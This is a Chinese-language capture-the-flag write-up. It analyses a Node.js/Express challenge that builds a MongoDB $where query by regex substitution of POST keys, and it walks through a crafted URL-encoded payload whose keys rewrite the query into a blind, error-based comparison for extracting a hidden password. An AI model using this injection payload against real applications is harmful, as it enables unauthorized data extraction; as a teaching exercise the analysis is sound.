参考文献:https://xz.aliyun.com/t/2300
https://coxxs.me/676
本地环境:ubuntu16.04
mongodb搭建
其他基本操作可看此文章:https://www.jianshu.com/p/8fd5632e4e35
sudo apt-get install mongodb//安装mongodb
service mongodb start//启动mongodb服务
mongo//进入mongo
安装nodejs
sudo apt-get install nodejs
sudo apt-get install npm
使用node指令,发现报错
apt install nodejs-legacy
启动服务
启动我们的index.js文件
node index.js
- 发现模块没安装(和python差不多),于是装模块
1
2
3
4npm install express
npm install moment
npm install mongodb
npm install body-parser
题目源码
1 | //引入模块,类似python(引入`express,body-parser,path,moment`模块) |
源码分析
1
2
3
4
5
6var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
引入模块,类似python(引入express,body-parser,path,moment
模块)
1
2
3var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
nodejs与mongodb连接
与数据库连接
*1
2
3
4
5
6
7
8
9MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
与数据库连接上后,可知:
数据库名:test_db
数据表名:users
列名:①username
② last_access(其中moment().format(‘YYYY-MM-DD HH:mm:ss Z’)是查看当前时间,类似2018-05-12 16:49:50
)
③password(其中Math.random().toString(36).slice(2)是生成一段随机文本,生成后类似password_dr6e3wjsjn5c23xr
,password就是flag)
1
2
3
4
5
6dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
把之前的都删了,然后更新成最新的。所以,password这一列的列名每个人都不一样,但是对应的flag不会变,给注入加大了难度,即无列名注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
两个路由:
①get路由
就是直接访问这个页面,会打印index.html的源代码
②post路由
就是一个拼接,大致上就是看post的username
和password
是否带有危险参数'#','(',')'
,携带了就返回nope,若未携带,则进行拼接查询,将结果的last_access
时间更改为最新的,然后返回ok
1
app.listen(8081)
服务端口,即服务在8081端口上
攻击点
1 | for(var k in req.body){ |
则req.body
是一个键值数组,而k
是键名
new RegExp('#'+k+'#','gm')
,其中g
全局匹配;m
多行,让开始和结束字符(^ 和 $)
工作在多行模式工作(例如,^
和 $
可以匹配字符串中每一行的开始和结束(行是由 \n
或 \r
分割的),而不只是整个输入字符串的最开始和最末尾处
合起来就是匹配#键名#
这样的字符串,然后格式化一下JSON.stringify(req.body[k])
,即用值代替。(例如#username#
这样的字符串就被替换成了值admin
)
正则
将其中的
... && hex_md5(#password#) == this.password_column){ ...
替换为以下形式中的一种,以便进行逐位爆破:1
2
3... && #password# == this.password_column.substr( ... )){ ... // 无法替换出 ( ),放弃
... && #password# <= this.password_column){ ... // <= 左右会出现引号,无法处理,放弃
... && #password# <= this["password_column"]){ ... // <= 左右会出现引号,但可以用作 "password" 和 "password_column" 中的引号,可以尝试payload
1
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B
解码后我们得到的
req.body
为:1
'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'
键名
1
2
3
4
5
6
7username
①?(?=\){)|1
②?== this.|1
③?hex.*?rd.*?"|1
④?"(?=\\))|1
⑤?0;|1
⑥?skysec.top|1
?….|1:
- 其中
?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符,这里的?
用于匹配前面的#
....
是自己构造的正则|
指明两项之间的一个选择,所以|1
即如果前面匹配成功,则不再往后匹配
所以,这样就导致#
对自己填写的正则无任何作用,作用的一直是自己构造的正则
①?(?=\){)|1
- 即去掉外层包裹为
(?=\){)
,去掉转义为(?=){)
,再去掉最外面包裹的括号为?=){
(断言,只匹配一个位置)
这里即匹配){
,它的值为] +
那么check_fuction(if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}
)变为1
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}
为构造this["password_column"]
铺垫
②?== this.|1
- 去掉外层包裹为
== this.
,即匹配== this.
这个字符串
它的值为<=this[
那么check_fuction
变为1
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) "<=this["password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}
构造出比较符<=
,并且彻底闭合this["password_column"]
③?hex.*?rd.*?"|1
- 去掉外层包裹为
hex.*?rd.*?"
,这里是匹配hex_md5(#password#)
它的值为123
那么check_fuction
变为1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}
将hex_md5
直接替换成任意值,即想要注出的password
④?"(?=\\))|1
- 去掉外层包裹为
"(?=\\))
,去掉转义为"(?=\))
(断言)
那么这里只想匹配双引号,并且是后面有)的双引号,它的值为""
那么check_fuction
变为1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{\nreturn 0;}
这一步的作用即闭合引号
⑤?0;|1
- 去掉外层包裹为
0;
,就是匹配0;
它的值为skysec.top
那么check_function
变为1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{return\n"skysec.top"}
这一步的作用就是将return后的值变成一个特殊字符(skysec.top)
⑥?skysec.top|1
- 去掉外层包裹为
skysec.top
,即匹配skysec.top
字符串
它的值'+a+'
那么check_function
变为1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){?skysec.top|1
去掉外层包裹1
skysec.top
即匹配skysec.top字符串
然后替换为值1
'+a+'
最后我们得到的check_function为1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{return\n ""+a+""}
若前面猜测的password(123)小于等于正确的password,那么将return 1
此时程序正常,反之,则return a,因不存在这个定义的a,那么将会抛出错误